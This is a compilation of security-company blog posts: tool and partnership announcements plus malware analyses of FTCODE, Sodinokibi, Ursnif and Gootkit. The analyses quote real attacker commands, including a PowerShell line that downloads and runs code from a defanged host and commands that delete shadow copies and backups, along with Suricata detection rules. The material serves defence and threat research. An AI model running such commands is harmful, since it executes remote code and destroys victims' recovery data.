Nato all'inizio del 2020 (annuncio ufficiale), questo nuovo strumento è stato accettato per essere portato avanti nel progetto Google Summer of Code 2020, sotto il cappello di Honeynet Project. Questa collaborazione ha permesso di aggiungere molte importanti novità a Intel Owl.

In particolare, proprio grazie a Google Summer of Code e la collaborazione con The Honeynet Project, siamo lieti di annunciare il rilascio della versione 1.0.0, con un'interfaccia grafica completamente nuova ed alcune importanti novità nelle API, che vi permetteranno di gestire al meglio le vostre informazioni di Threat Intelligence.

Potete leggere tutte le novità di Intel Owl 1.0.0 nell'annuncio ufficiale del nuovo rilascio, realizzato in collaborazione da Eshaan Bansal (GSoC Student) e dal suo mentor, il nostro Matteo Lodi, e pubblicato sul blog ufficiale di The Honeynet Project.

Photo by Maximalfocus on Unsplash

Certego è lieta di annunciare il proprio ingresso nell’ecosistema di contributors di Virustotal, il più grande aggregatore di antivirus engines, website scanners, strumenti di analisi file e URL del mondo.

Virustotal è un servizio web gratuito che permette all’utente di verificare il contenuto di file, url, domini, sfruttando le potenzialità di oltre 70 antivirus scanners, blacklisting services e strumenti di analisi forniti dai principali vendor di security a livello globale. Fondata nel 2004 da una società spagnola, Virustotal è stata acquisita nel 2012 da Google e, nel 2018, la proprietà è passata a Chronicle, sussidiaria di Alphabet.

Da oggi, molti dei dati di intelligence prodotti attraverso Quokka, la piattaforma di Threat Intelligence sviluppata da Certego, saranno a disposizione della community di Virustotal in modalità totalmente gratuita. L’obiettivo della community, infatti, è quello di mettere in campo le competenze di tutti i principali attori coinvolti nella sicurezza degli utenti finali per contrastare la diffusione di malware, le problematiche relative a falsi positivi e le minacce dei falsi negativi.

La piattaforma “Quokka” nasce dal lavoro di un team esperto di analisi di malware e di raccolta di informazioni legate alle minacce informatiche. Il team di Threat Intelligence ha combinato diversi strumenti tecnologici, tra cui le Honeypot, vere e proprie “trappole” per i cyber criminali e le Sandbox, ambienti virtuali dove vengono studiati ed eseguiti malware in automatico. Il risultato è una piattaforma che permette di raccogliere in tempo reale importanti informazioni che permettono a Certego di tracciare le attività cyber criminali.

Dettagli tecnici

Vogliamo mostrarvi qualche esempio di che genere di informazioni gli utenti possono trovare sfruttando il potere combinato della scansione multipla di VirusTotal con le informazioni di Intelligence di Certego.

Che tu sia una persona tecnologica o meno, sicuramente ti sarà capitato di trovare uno strano link all'interno di una email ricevuta. Prima di cliccare sul link sospetto, è bene sempre verificarlo. Un modo per farlo è quello di visitare il sito di VirusTotal, selezionare la scansione degli URL, inserire il link da verificare nella casella di input e, infine, eseguire l'analisi.

Dopo pochi secondi, puoi trovare i risultati dell'analisi.

Per questo esempio specifico, l'engine di Certego ha rilevato l'URL come "Phishing".

Questa valutazione aiuta l'utente in quanto, nel caso in cui avesse visitato il sito, avrebbe trovato una pagina di phishing di account Outlook identica a quella reale.

Oltre che a "Phishing", ci sono altre possibili valutazioni che l'engine può fornire come risultato dopo una scansione URL.

Le valutazioni “Malicious” e “Malware” servono per indicare quando uno specifico URL o dominio è stato visto ospitare malware o, più semplicemente, è stato coinvolto in attivita cyber criminali. Esempio:

La valutazione “Suspicious” serve a specificare quando uno specifico URL o dominio è o è stato probabilmente coinvolto in attività malevole. Per questi casi, l'engine non ha una prova certa per cui suggerisce di non visitare il sito in questione a scopo precauzionale. Esempio:

L'ultimo caso è la valutazione "Spam" che serve ad indicare quando uno specifico URL o dominio è stato inserito all'interno di un gran numero di email inviate massivamente a diverse caselle di posta: perciò, probabilmente non è un link da cliccare. Diversamente, gli indirizzi IP sono taggati in tal modo quando sono stati osservati inviare molta spam e perciò sono probabilmente correlati alla presenza di uno "spambot". Esempio:

Certego è orgogliosa di contribuire alla sicurezza di tutti gli utenti del mondo attraverso la community di VirusTotal.

Autore: Matteo Lodi, Threat Intelligence Lead Engineer (Twitter).

Certego ha il piacere di sostenere la quarta edizione di ITASEC, la conferenza annuale sulla sicurezza informativa organizzata dal Laboratorio Nazionale di Cybersecurity del CINI – Consorzio Interuniversitario Nazionale per l’Informatica si svolgerà quest’anno ad Ancona dal 4 al 7 febbraio, in collaborazione con l’Università Politecnica delle Marche e l’Università degli Studi di Camerino.

La conferenza, che si svolgerà nelle sale dell’UNIVPM, ha l’obiettivo di riunire ricercatori e professionisti provenienti dal mondo accademico, industriale e governativo per discutere le sfide emergenti e i bisogni consolidati nel campo della cybersecurity.
Al filone principale, dedicato alla scienza e tecnologia della sicurezza informatica, si affiancheranno poi workshop e tutorial riservati agli specifici aspetti economici, politici e legali della cybersecurity.


Bernardino Grignaffini, CEO Certego, prenderà parte alla sessione “Nuove Sfide e Opportunità” il giorno 6 febbraio alle ore 9.45

Vendor Session: Certego e VEM organizzeranno due incontri dedicati a Cybersecurity e Industrial Cyber Security nel corso di ITASEC.

Vi segnaliamo che tutte le sessioni plenarie e vendor session sono gratuite, mentre per partecipare ai workshop formativi sarà necessario versare una quota di iscrizione.

L’ultima data utile per iscriversi e partecipare con la QUOTA RIDOTTA è il 22 GENNAIO 2020.

Per maggiori informazioni visita il sito ufficiale dell’evento e PARTECIPA A ITASEC!


04 Febbraio 2020 - 07 Febbraio 2020


Via Brecce Bianche
60131 Monte Dago (Ancona)

Happy new Year to everyone!

We would like to open this new decade by releasing a new tool that is called Intel Owl. We hope that it could help the community, in particular those researchers that can not afford commercial solutions, in the generation of threat intelligence data, in a simple, scalable and reliable way.

Main features:

  • modern Django-Python application: easy to understand and write code upon it
  • it can get data from multiple sources with a single API request
  • 40 available analyzers that you can use to generate or retrieve data about a suspicious file or observable (IP, domain, …)
  • official client available on Github: PyIntelOwl
  • easily integrable with other tools thanks to the REST API framework and to the PyIntelOwl library.
  • easily and completely customizable, both the APIs and the analyzers
  • early compatibility with some of the AWS services. More in the future.
  • fast and reliable deploy: clone the project, set up the configuration and then you are ready to run it via docker-compose

For more information, we invite you to check the documentation and the code available on Github.

Feel free to ask everything it comes to your mind about the project to the author:

Matteo Lodi, Threat Intelligence Lead Engineer (Twitter).

Every suggestion or contribution is really appreciated.

Keep hunting malware! We cheer on you :)

Hi there, this is Gabriele Pippi, from the Certego Purple Team.

I want to share this simple password-based FTCODE decryptor.

Note #1: this must be considered a beta version of the script; the author assumes no responsibility for any damage caused by running it.

Note #2: currently the malware sends the password both as plain and cypher text; we believe the behavior may change soon as the malware is updated, and the plain text form may not be available anymore.

Note #3: decrypting files with an incorrect password may make them unrecoverable; so, we recommend taking a backup of the files before running the script.

Why should a password-based decryptor be useful?

Since the first observed campaigns, documented in this article, we have noticed that FTCODE was sending the password in plaintext within the body of an HTTP post request to the C&C.
Once implemented the relevant Suricata signatures, I decided to develop this tool internally, in order to make the decryption operation feasible.
In all of the cases we had the opportunity to put hands on, we were able to recover the encrypted files up to version 1018.1.

Network Traffic

In order to be able to decrypt the files successfully, it is necessary to intercept the contents of the POST request that the malware sends to the C&C at infection time; an example of such request follows:

Content-Type: application/x-www-form-urlencoded
Content-Length: 591
Expect: 100-continue
Connection: Keep-Alive

ext = extension of encrypted files
ek = password in plain text
r1 = Base64 chunk containing the encrypted password

In order to intercept the POST request, we developed the following Suricata signature, and deployed it to our network monitoring system:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CERTEGO TROJAN FTCODE Registration Request (m.bompani)"; flow:to_server; content:"POST"; http_method; content:"ext="; http_client_body; content:"guid="; http_client_body; content:"ek="; http_client_body; classtype:trojan-activity; sid:9000931; rev:1;)

What does the tool do?

Given the extension and the password, the tool is able to recursively decrypt the encrypted files in all the mounted disks or in a given path.

It offers the following features.

  • In-memory fileless utilization: it is possible by wrapping the script in a function, leveraging the built-in PowerShell cmdlet Invoke-Expression
  • Logger: it traces the activities carried out, leveraging two cmdlets described at Start/Stop Transcript
  • Backup: it backs up all the files that the tool will try to decrypt.
  • Some options were added to the script for possible future uses.

Additional Details

For further technical details and demonstrations, please refer to the official github project FTdecryptor

For further FTCODE details, please refer to this article FTCODE article

About the author

Gabriele Pippi, Purple Team (LinkedIn)

Hi everyone! Today we are talking about a new ransomware we spotted being distributed in the wild dubbed as FTCODE.


  1. The Threat
  2. Payload Delivery
  3. Environment Preparation
  4. Ransomware Attack
  5. Version Changes
  6. Conclusion
  7. Suricata Signatures
  8. IoC

1. The Threat

Malicious actors are evolving and trying new ways to infect computers.

At the start of this year, a specific actor started to leverage a legitimate certified mail service, mainly used in Italy, called PEC (Wikipedia). This service is particularly trusted by its users and is commonly used to deliver electronic invoices. Therefore, it’s of special interest because it’s easier to lure potential victims with malicious emails that refer to fake invoices.

Until the last week, the Gootkit banker was delivered as the final payload of the infection chain. (Certego Gootkit analysis)

During this year, the way to deliver this threat changed: they started to leverage a new simple but effective downloader dubbed as JasperLoader to deliver upgrades and additional modules when needed. (Talos research).

However, even if sophisticated, Gootkit is old malware. Also, it does not monetize fast and does require special interaction by the user. So, they have started experimenting with ransomware, maybe to understand if they can get more from this kind of infection.

We are talking about a raw ransomware fully written in Powershell code, called FTCODE.

Even if the name could seem new, the first appearance of this threat was in 2013, as stated by Sophos. Then, almost nothing was seen for about 6 years. Strange, but we have to remember that technology changes. Windows XP was widespread at that time and, by default, Powershell is installed only from Windows 7 on. That can be a problem because actors need to install powershell itself before running ransomware. Also, cyber security was not mature as it is nowadays so, for instance, classic Zeus-like bankers were more effective.

Indeed, last year we saw the arrival of a new downloader and backdoor written in Powershell that was called sLoad and it’s still being actively distributed (Certego sLoad analysis).

KISS (“keep it simple and stupid”) they teach you during software engineering courses. So, why strive with sophisticated malware when with a bunch of code written in Powershell you can perform every kind of wickedness?

So let’s dive in more technical details to understand how FTCODE works.

Mainly we analyzed two samples from two different campaigns:

  • version 930.5, md5: a5af9f4b875be92a79085bb03c46fe5c, day: 01/10/2019
  • version 1001.7, md5: 8d4c81e06b54436160886d78a1fb5c38, day 02/10/2019

2.Payload Delivery

As stated before, the user receives an email that refers to a fake invoice with an attached document called "Fattura-2019-951692.doc". The threat actor leverages a commonly used template to trick the user to disable the “Protected View” mode and to trigger the execution of the malicious macro.

Once enabled, the macro runs and spawns the following Powershell process:

powershell iex ((New-Object Net.WebClient).DownloadString('hxxp://home.southerntransitions[.]net/?need=9f5b9ee&vid=dpec2&81038'));

The result is the download of a piece of Powershell code that is run using the "Invoke-Expression" command (“iex”). Note that the function “DownloadString” saves the result of the request only in memory, in an attempt to avoid antivirus detection.

The new Powershell code is FTCODE itself. On execution, it performs the following GET request:


to download a Visual Basic Script file and save it in "C:\Users\Public\Libraries\WindowsIndexingService.vbs".

This is a variant of JasperLoader, a simple backdoor that is able to download further payloads.

Then, it tries to create a shortcut file called "WindowsIndexingService.lnk" in the user's startup folder that runs the JasperLoader. Finally, to achieve persistence after reboot, it creates a scheduled task called "WindowsApplicationService" pointing to the shortcut file.

3. Environment Preparation

After having installed the JasperLoader backdoor, FTCODE starts to prepare the environment for the ransomware attack.

It verifies if the file "C:\Users\Public\OracleKit\w00log03.tmp" exists. If yes, it would check the presence of some files with the extension ".FTCODE" in all the drives with at least a free space of 50 KB. If there are some, it means that the machine was already attacked by the ransomware, maybe by a previous version: therefore, it would exit.

De facto, this indicator can be used to “vaccinate” the endpoints from this threat. It’s enough to create the mentioned file with any kind of content to let FTCODE believe that the computer was already infected.

$xaebfyxj = $env:PUBLIC + "\OracleKit";
if (-not (Test-Path $xaebfyxj)) { md $xaebfyxj; }
$yxzsjdaz = $xaebfyxj + "\w00log03.tmp";
if ( Test-Path $yxzsjdaz ){ 
 if( ydehiyjh ){
 ri -Path $yxzsjdaz -Force;

Afterwards it generates a random globally unique identifier (GUID) and a password consisting of 50 characters with at least 4 non-alphanumeric characters.

Then we found a hardcoded RSA public key that is used to encrypt the password. In this way the password cannot be deciphered without the proper private key controlled by the malicious actor and can be sent, in a secure way, to the attacker’s server.

Surprisingly, the encrypted password, after being generated, is never used elsewhere in the code and, instead, is just sent the basic base64-encoded password to the attacker’s server.

The consequence is that, if the traffic against the attacker’s server is being monitored, it’s possible to retrieve the key that will be used to decipher the files, without paying any ransom.

We believe that this mistake will be corrected in future versions.

After that error, FTCODE performs a POST request to the following URL:


with the following parameters:

  • ver=930.5, version number
  • vid=dpec2, probably to identify the campaign
  • psver=Powershell Major Version, probably to understand if FTCODE needs an update from JasperLoader
  • guid=the GUID generated previously, to identify the victim
  • ek=the previously generated password encoded in base64

if the server response is "ok", it creates the file "C:\Users\Public\OracleKit\w00log03.tmp" containing the GUID. If the server response is different, it would exit. This is another protection mechanism to evade execution in simulated environments.

Afterwards, it tries to run the following commands that are commonly used by almost every ransomware to avoid the chance that the victim can recover the encrypted files without paying:

bcdedit /set exgdccaxjz bootstatuspolicy ignoreallfailures
bcdedit /set exgdccaxjz recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete backup
vssadmin delete shadows /all /quiet

Similar behaviour is performed by Sodinokibi: Certego blog

4. Ransomware Attack

At this moment, everything is ready to perform the real attack phase.

FTCODE checks for all the drives with at least 50 KB of free space and it looks for all the files with the following extensions:


Then, it encrypts the first 40960 bytes of each of them using the “Rijndael symmetric key encryption”. The key is created based on the previous generated key and the hardcoded string “BXCODE hack your system”. The initialization vector is also based on another hardcoded string ("BXCODE INIT").

Finally it appends the extension ".FTCODE" and creates the file "READ_ME_NOW.htm" in the folders that contain the encrypted files. We are talking about the classic ransom note with instructions on how to recover the encrypted file.

5.Version changes

We believe that this ransomware is in active development. Just one day after the delivery of the version 930.5, we saw another version distributed (1001.7). Malware authors noticed that, in the first version, there was no mechanism to tell the threat actors if the file encryption was successful or not. So, they added other 2 lines of code that trigger other 2 C&C POST requests with the following new parameters:

  • status=”start” or “done”
  • res=number of successfully encrypted files


Actors change their tactics faster and faster. But we understood that they could be lazy and they can make mistakes too. They are humans after all.

Some of them are starting to prefer ransomware like FTCODE over classic infostealers and bankers.

Also, we found that, monitoring the network traffic, it’s possible to retrieve they key used to encrypt the files.

So, it’s important to continuously monitor your own assets, both on a network and an endpoint level, to fight against these kind of threats.

Certego Threat Intelligence Team has been studying upcoming cyber threats for years in order to provide the best protection to their customers.

Suricata IDS signatures

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CERTEGO TROJAN FTCODE Payload Request"; flow:to_client; content:"FTCODE"; http_server_body; nocase; content:"vssadmin"; http_server_body; nocase; reference:url,; classtype:trojan-activity; sid:9000999; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CERTEGO TROJAN FTCODE Registration Request"; flow:to_server; content:"POST"; http_method; content:"vid="; http_client_body; content:"psver="; http_client_body; content:"guid="; http_client_body; content:"ek="; http_client_body; reference:url,; classtype:trojan-activity; sid:9000998; rev:1;)



About the authors

Matteo Lodi, Threat Intelligence Lead Engineer (Twitter)

Marco Bompani, Security Analyst (Twitter)


Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.

Hi everyone! Today we are looking at a threat that appeared recently: a new ransomware called Sodinokibi.


  1. The Threat
  2. The Loader
  3. Mutex and Configuration
  4. Machine information recovery
  5. Encryption preparation inspired by GandCrab
  6. Ransomware attack
  7. C2 Registration
  8. Conclusion

1. The Threat

The first noteworthy appearance was at the end of April (Talos Research).

Then, at the start of this month, we gathered different reports of this threat being spread in Italy (eg: JAMESWT_MHT's tweet), both via malspam and known server vulnerabilities.

Also, there was the announcement of the shutdown of the GandCrab Operation (Bleeping Computer), just some days earlier.

Coincidence? We’ll see.

Our guess is that this new payload could be used as a replacement of GandCrab in the RAAS (Ransomware-as-a-service) panorama.

Therefore, in order to protect our customers effectively, we went deep into the analysis of this ransomware.

Mainly we analyzed two different samples:

  • version 1.01: md5: e713658b666ff04c9863ebecb458f174
  • version 1.00: md5: bf9359046c4f5c24de0a9de28bbabd14

2. The Loader

Like every malware who deserves respect, Sodinokibi is protected by a custom packer that is different for each sample.

The method used by the version 1.01 sample to reconstruct the original payload is called “PE overwrite”.

To perform this technique, the malicious software must allocate a new area inside its process memory and fill it with the code that has the duty to overwrite the mapped image of the original file with the real malware payload. In this case, first the process allocates space in the Heap via LocalAlloc, then it writes the “unpacking stub” code, it signs that space as executable with VirtualProtect and finally it redirects the execution flow to the new memory space

In order to slow the analysis, the loader contains a lot of junk code that will be never executed.

Also, in the following image, we can see that it tries to hide some important strings from the static analysis like “ kernel32.dll”. It leverages “stack strings” plus the randomization of the order of the characters.

At this point, the unpacking stub resolves dynamically the functions that he needs like VirtualAlloc. Then it performs the overwrite of the original image base with the new decrypted payload.

Finally, it transfers the execution to the OEP (Original Entry Point) of the unpacked Sodinokibi payload.

3. Mutex and Configuration

Once unpacked, the sample tries to create a mutex object. It calls CreateMutexW, then, if there was an error, with RtlGetLastWin32Error it would extract the generated error. Indeed, if the mutex already existed, the error would have been “0xB7” ("ERROR_ALREADY_EXISTS" ref docs). In that case a function is called that terminates the process.

We found that the mutex name is different for each sample but following this pattern: “Global\{UUID}”. Therefore it’s a method to detect the malware or to vaccinate the endpoint (Zeltser blog) that is reliable only for a specific sample.

Going forward, we found the configuration in an encrypted form in the section “ .zeacl” for v.1.01 or “.grrr” for v.1.00. Once extracted, we noticed that it’s a JSON file.

These are the keys found in the configuration.

  • pk” -> base64 encoded key used to encrypt files
  • pid” -> personal id of the actor
  • sub” -> another id, maybe related to the specific campaign
  • dbg” -> debug mode
  • fast” -> fast mode
  • wipe” -> enable wipe of specific directories
  • wht” -> whitelist dictionary
    • fld” -> keyword in whitelisted directories
    • fls” -> whitelisted filenames
    • ext” -> whitelisted file extensions
  • wfld” -> directories to wipe
  • prc” -> processes to kill before the encryption
  • dmn” -> domains to contact after encryption
  • net” -> check network resources
  • nbody” -> base64 encoded ransom note body
  • nname” -> ransom note file name
  • exp” -> unknown, expert mode?
  • img” -> base64 encoded message on desktop background

If you are interested in manually checking the configuration files we have extracted in the samples we have analyzed, follow this link and download the archive (password:sodinokibi):

4. Machine information recovery

Afterwards, Sodinokibi starts to gather information about the infected machine and builds another JSON structure that stores in an encrypted form in the “HKEY_LOCAL_MACHINE\SOFTWARE\recfg\stat” registry key.


  • ver”: version (100 or 101)
  • pid”: previous config “pid”
  • sub”: previous config “sub”
  • pk”: previous config “pk”
  • uid”: user ID. It’s a 8 byte hexadecimal value generated with XOR encryption. First 4 bytes are created from the processor name, while the others are created from the volume serial number extracted with a “GetVolumeInformationW” API call.

  • sk”: secondary key, base64 encoded key generated at runtime
  • unm”: username
  • net” : hostname
  • grp”: windows domain

  • lng”: language

  • bro”: brother? Sodinokibi retrieves the keyboard language with GetKeyboardLayoutList. Then it implements an algorithm that gives “True” as value for this key only if the nation code ends with a byte between 0x18 and 0x2c. It’s not odd that inside this range there are the majority of the East-Europe language codes, like Russian, Cyrillic and Romanian. It’s a clear indication of the origin of the malware authors.

  • os”: full OS name

  • bit”: Sodinokibi extracts this value from “GetNativeSystemInfo” then it compares with 9 that corresponds to the x64 architecture. Further processing will generate “40” if the architecture is 64bit, “56” otherwise.

  • dsk”: base64 encoded value generated based on the drives found on the machine.
  • ext”: new in 1.01. The random extension used for encrypted files.

5. Encryption preparation inspired by GandCrab

At this time, before performing the encryption, Sodinokibi replicates a behavior that is very similar to what GandCrab performs, suggesting that Sodinokibi authors learned from GandCrab ones or that they are strictly related.

Sodinokibi extracts the running processes with the combination of CreateToolhelp32Snapshot, Process32First and Process32First and checks if they match the names in the configuration. In that case, those processes are killed. The reason is that these programs could hold write access on files and therefore they could not allow the ransomware to encrypt them.

The list of the version 1.00 contains only the “mysql.exe” process, while the list of the version 1.01 is a lot longer and almost matches the ones used by GandCrab (source: Symantec).

Afterwards, like his predecessor, Sodinokibi deletes the shadow copies with the leverage of the “vssadmin” native utility. In addition, it uses “bcdedit” to disable windows error recovery on reboot.

cmd /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {{default}} recoveryenabled No & bcdedit /set {{default}} bootstatuspolicy ignoreallfailures

Another check done by the ransomware is for available network resources with WNetOpenEnumW e WNetEnumResourceW with the aim to find other files to encrypt.

Last operation before the encryption is to find all the directories with a name that matches the configuration key “wfld” and to wipe them. In this case, the list contains only “backup”. So, for example, Sodinokibi deletes Windows Defenders updates backups.

6. Ransomware attack

Finally (or not?) Sodinokibi starts to iterate over the available directories with FindFirstFile and FindNextFile.

It skips files and directories that match conditions on the whitelist configuration. The others are encrypted by the ransomware that adds the random generated key as extension to the name.

In each directory the malware also write the ransom note “{ext}.readme.txt” extracted from the configuration and a lock file.

Then it creates a file with a random name “{random}.bmp” in the %TEMP% which contains the image that will be put as a background with the help of DrawTextW and FillRect functions.

7. C2 Registration

Once the encryption is finished, Sodinokibi starts to iterate through a giant list of domains hardcoded in the configuration (about 1k). These domains are the same across the samples we analyzed but they are ordered differently in order to mislead the analysis.

At a first glance, these domains seem legit and most of them are correctly registered.

This is not a classic DGA but the result is almost the same because the purpose is to hide the real C&C Server used by cyber criminals.

For each domain listed, Sodinokibi generates a random URI. Then it uses the winhttp.dll library functions to perform HTTPS POST requests with the created URLs.

The data sent with the POST request is an encrypted form of the JSON configuration saved on the “HKEY_LOCAL_MACHINE\SOFTWARE\recfg\stat” registry key and described on the “Machine information recovery” section. In this way, malicious actors can collect important information of the infected machine.

The following are examples of some of these URLs:


Looking at an analysis of this sample in a sandbox (AnyRun), we noticed that HTTPS requests where not correctly listed. The malware can avoid traffic interception by proxies like Fiddler or Mitmproxy that are used for manual or automatic analysis.

How? The second parameter of the WinHttpOpen function is 0 which corresponds to “WINHTTP_ACCESS_TYPE_DEFAULT_PROXY”: this means that the configured proxy is skipped and the HTTP connection won’t be logged. This trick could mislead the analysis if not properly handled.

I suggest to read the following blog post where it’s further explained how these URLs are generated and why also this routine is inspired by GandCrab code: Tesorion analysis

8. Conclusion

Sodinokibi could be the heir of GandCrab. It’s still at version 1.01 so maybe it’s not mature yet but is actively developed and updated

Malicious actors have started to use Sodinokibi to generate profit, even in Italy.

It’s important to continuously monitor your own assets, both on a network and an endpoint level, to fight against these kind of threats.

Certego Threat Intelligence Team has been studying upcoming cyber threats for years in order to provide the best protection to their customers.



About the author

Matteo Lodi, Cyber Threat Intelligence Team Leader



Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.

Today we are going to talk about one of the biggest threats that is spreading in these days, in particular in Italy: Dreambot, the most recent version of a malware also known as Ursnif or Gozi.


  1. The Threat
  2. The Check-In phase
  3. Encryption routine
  4. Injected Internet Explorer? Or not?
  5. Conclusion

1. The Threat

Ursnif belongs to the category of Infostealers. It was already analyzed by a lot of skilled researchers. I list just some of the best analysis you could find:

In this article, we'll focus on the initial communication with the Command & Control infrastructure.

2. The Check-In phase

At the time of the compilation of the malware, spreaders can choose a list of domains that will be hardcoded in the sample in an encrypted form.

For example, the following image shows 3 different domains uploaded into the memory of one of the variant that we analyzed.

The malicious agent tries to perform its initial communication with the first of the list, then, if it fails, it would try with the next and so on.

We underline that this "beacon" is always performed via plain HTTP while the following steps of communication are done via SSL encryption and custom certificates.

This is important because, with the right eye, even without SSL interception, we can pretty easily spot if something is going wrong.

The following image shows 3 different attempts to communicate with the C2 server in a sandbox environment. 

If the pattern is not known, an untrained analyst could be misleaded by this behaviour while performing threat hunting on network logs or artifacts.

The file extension ".avi" refers to video files. Also, the path "/images/" is deceptive. In addition, it's performed as a "GET" request. All of this evidence could be seen as a normal download of a video file from a site hosting media.
In fact it's the check-in of the malware that is sending basic information about the compromised machine, hiding them in plain sight in the URI path.



Decoded data:

  • fjidtflrb -> junk param, always present at the start of the URI to generate randomness (and always different)
  • soft -> major version
  • version -> minor version
  • user -> unique user id
  • server -> unique c2 server id
  • id -> bot group id
  • crc -> payload to retrieve (1-DLL 32bit, 2-DLL64 bit, 3-ps1)
  • uptime -> time elapsed from initial infection (seconds)

The following image represents the phase when the malware creates the first parameter:

After having seen a lot of this kind of patterns on Ursnif samples in last years, I decided to create a simple and raw tool that is able to decrypt the URL created by the malware on the fly.

In this way it's possible to spy the configuration sent to the Command & Control server and, at the same time, to check if the URL is related to this threat. 

All of this without any need of manual reverse engineering.

You can check the simple tool that I created on the following link on: Github

This is an example of how to run the script:

python3 -u "" -k "10291029JSJUYNHG"

and the relative output:

[2019-04-15 11:24:25 - INFO] c2 domain: ''
[2019-04-15 11:24:25 - INFO] path to analyze: /images/NM_2Ff8mqmMQjmr/c842xf8TIJp_2FlmC5/Ulz244kFh/KMjQpHVvOnBhk6eOvBBW/R_2FCf2Bk9wZXqeGcBS/IAHu5OfIJa7Y941YuvL1XM/i2RXCwmaVXV_2/ByGxravm/Dt1GoxZJ9b2BbnKWLrfphW9/8pKXBhb9Yi/n0AEln6Sc_2BilzFW/k_2B_2Fy1/Q3.avi
[2019-04-15 11:24:25 - INFO] Congrats! decoded data: fjidtflrb=bdaxhhfg&soft=3&version=217173&user=a618b5f78c4ff30be60d08c7ba561278&server=12&id=3274&crc=3&uptime=11

3. Encryption routine

The custom algorithm starts with a symmetric encryption that leverages the Serpent cipher in CBC mode and a null IV (initialization vector). 

Afterwards the result is encoded with a classic base64. Considering that base64 encoding is pretty easy to spot, malware authors decided to change things a little more. They removed padding characters("=") and substituted the other special characters ("+", "/") with the relative ASCII code, after having prepended them by an underscore ("_2f", "_2b"). The last tweak is to add slashes at specified offsets to let the URI to appear like a real one.

Obviously, the Serpent encryption needs a key. We can find it hardcoded on the malware sample. Some code level analysis could be required to get that info.

However, observations led to the fact that the key is usually shared among a lot of samples and rarely changed.

If you don't have one, just run the script: it would try a predefined list of known keys for you.

It's really appreciated if you want to share new keys that you find with us. Feel free to contact us on Twitter or LinkedIn

4. Injected Internet Explorer? Or not?

While investigating the check-in phase, we noticed an unusual fact that we think it's worth to mention.

As you can see from the analysis of AnyRun, the malicious beacon seems to be sent by an Internet Explorer instance after the malware has run.

Considering that Ursnif is known to perform injection on browsers to steal information, an unaware analyst could think that the malware already decided to perform some form of memory injection into a new spawned instance of Internet Explorer to masquerade the communication as a legit one.

However this is unecessary. It's enough to use the COM (Wikipedia) library that is provided by Microsoft.
Looking at the code, we can detect this behaviour with the finding of the function CoCreateInstance that were made just before the network communication.

This one is a stealthy way that could mislead both analysts and security products if it has not been taken in consideration.

If you like to have a more detailed explanation on COM and, in general, on how to detect malware C2 communications while reverse engineering, I suggest the following reading: FireEye Blog


Ursnif has been trying for years to make analysis difficult for people and detection for security products.

We went deep into the communication performed during the check-in phase and created a new tool to help to analyze and detect the malware.

Certego is actively monitoring every day threats to improve its detection and response methods, continuously increasing the effectiveness of the incident response workflow.


About the author:

Matteo Lodi, Cyber Threat Intelligence Team Leader 

If you know something more about protocols used by Ursnif for C2 communications or if you'd like to improve the tool(Github), feel free to contact me at any time.



Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.

Today we are going to start a new series of blog posts called “Malware tales”: the intent is to go deep on code-level analysis of most widespread malware to allow everyone to get a better picture of everyday cyber threats. Also, we’d like to demystify malware and show that we are just talking about a bunch of code


  1. The Threat
  2. Payload delivery
  3. Gootkit executable
  4. Stage 1: Packed Gootkit
  5. Stage 2: Gaining a foothold
  6. Stage 3: Check-in phase
  7. Last stage
  8. Additional findings
  9. Conclusions

The Threat:

Gootkit belongs to the category of Infostealers and Bankers therefore it aims to steal information available on infected machines and to hijack bank accounts to perform unwanted transactions.

It has been around at least since 2014 and it seems being actively distributed in many countries, including Italy.

Previous reports about this threat can be found following this link:Malpedia

Today we are going to dive into the analysis of a particular variant that came up the last week.

Payload Delivery:

The infection vector is an email written in Italian. In this case adversaries used one of the most common social engineering techniques to trigger the user to open the attachment.

The downloaded file is a heavily obfuscated Javascript file called "GLS_Notifica.js". If the user opens it, the native Javascript interpreter wscript.exe would be executed by default and it would perform the following HTTP request:


The result is the download of a cabinet file that is an archive file which can be extracted natively by Windows. Inside there is a Portable Executable file that is saved into the %TEMP% folder (“C:\Users\<username>\AppData\Local\Temp”) and launched.

Javascripts downloaders are a common payload delivery because a little obfuscation can be enough to make them very difficult to be detected by antivirus engines.

Gootkit executable:

First run of the sample in an automated environment revealed that something new was added in this version. As we can see in the following images, malware authors added a new layer of protection to the malicious agent. The comparison has been made with a variant spread during December of 2018 in Italy. (images are from AnyRun)

This means that the original program was “packed” with the aim to slow down reverse engineers and to make ineffective static analysis tools like Yara rules.

Stage 1: Packed Gootkit

In such cases, a malware analyst knows that he has to extract the original payload as fast as possible without losing time to try to understand the inner workings of this stage.

A great open-source tool exists which can resolve the problem in a matter of seconds. It’s called PE-Sieve (Github). Even though it does not always work, in this case it can dump the unmapped version of the original executable because the malicious software uses a technique called Process Hollowing a.k.a. RunPE. This method consists in starting a new process in a suspended state, “hollowing” out the content of the process, replacing it with malicious code and, finally, resuming the thread.

In the image we can see that the 6th parameter of "CreateProcessW" was set to "4", indicating that the process will start in a suspended state.

We are talking about a well known technique that is easily detectable with the monitoring of the Windows API calls that are needed to perform the injection. But here comes the trick.

Following the flow of execution we couldn’t find all the needed API calls: we got NtCreateProcess, NtGetContextThread, NtReadVirtualMemory and NtSetContextThread.

The most important ones that are used by monitoring applications to detect the technique were missing:

  • NtUnmapViewOfSection to “hollow” the target process
  • NtWriteVirtualMemory to write into the target process
  • NtResumeThread to resume the suspended thread

Let’s find out what’s happening!

After some shellcode injections inside its memory space, the process executes a call to IsWow64Process API that is used by the application to understand if the process is running under the WOW64 environment (Wiki): this is a subsystem of the Windows OS that is able to run 32-bit applications, like this one, on 64-bit operating systems.

The result of this check is used to run two different paths of code but with the same scope: run one of the aforementioned missing API calls in the Kernel mode. This means that, in this way, classic user-level monitoring tools would not catch these calls and the RunPE technique would remain unnoticed.

Specifically, in case the process is running in a 32-bit environment, it would use the SYSENTER command to switch into the Kernel mode, while, on the contrary, it would use the SYSCALL command to perform the same operation.

